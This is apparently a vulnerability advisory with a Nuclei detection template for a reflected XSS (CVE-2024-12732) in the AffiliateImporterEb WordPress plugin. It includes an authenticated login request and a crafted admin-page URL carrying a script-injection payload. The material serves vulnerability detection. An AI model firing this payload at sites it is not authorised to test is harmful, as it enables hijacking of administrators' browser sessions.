AffiliateImporterEb <= 1.0.6 - Reflected XSS

mediumseverity

6.1CVSS score

0.6%likelihood of exploitation, next 30 days

48%of all CVEs are less likely

Readycheck to confirm it

AffiliateImporterEb WordPress plugin through 1.0.6 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.

Impact

Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.

Fix

Update to the latest version beyond 1.0.6.

How to confirm it

Send: POST /wp-login.php
Positive when: contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=ebdn-settings&module=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E`
Positive when: status_code == 200 and contains_all(body, "><script>alert(document.domain)</script>","affiliateimportereb")

Run it with nuclei: nuclei -id CVE-2024-12732 -u <target>

The full check

id: CVE-2024-12732

info:
  name: AffiliateImporterEb <= 1.0.6 - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    AffiliateImporterEb WordPress plugin through 1.0.6 contains a reflected XSS caused by unsanitized and unescaped parameter output, letting attackers execute scripts against high privilege users such as admin, exploit requires crafted request.
  impact: |
    Attackers can execute scripts in admin users' browsers, potentially leading to account compromise or unauthorized actions.
  remediation: |
    Update to the latest version beyond 1.0.6.
  reference:
    - https://wpscan.com/vulnerability/bc46edd8-8d77-4567-873b-e9e90a01adcf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-12732
    cwe-id: CWE-79
    epss-score: 0.00579
    epss-percentile: 0.47994
    cpe: cpe:2.3:a:cr1000:affiliateimportereb:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cr1000
    product: affiliateimportereb
  tags: cve,cve2024,cr1000,wp-scan,wordpress,wp-plugin,affiliateimportereb,authenticated,xss,wp

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=

    matchers:
      - type: dsl
        dsl:
          - contains(header, "wordpress_logged_in")
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=ebdn-settings&module=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>","affiliateimportereb")
        condition: and

References

https://wpscan.com/vulnerability/bc46edd8-8d77-4567-873b-e9e90a01adcf/

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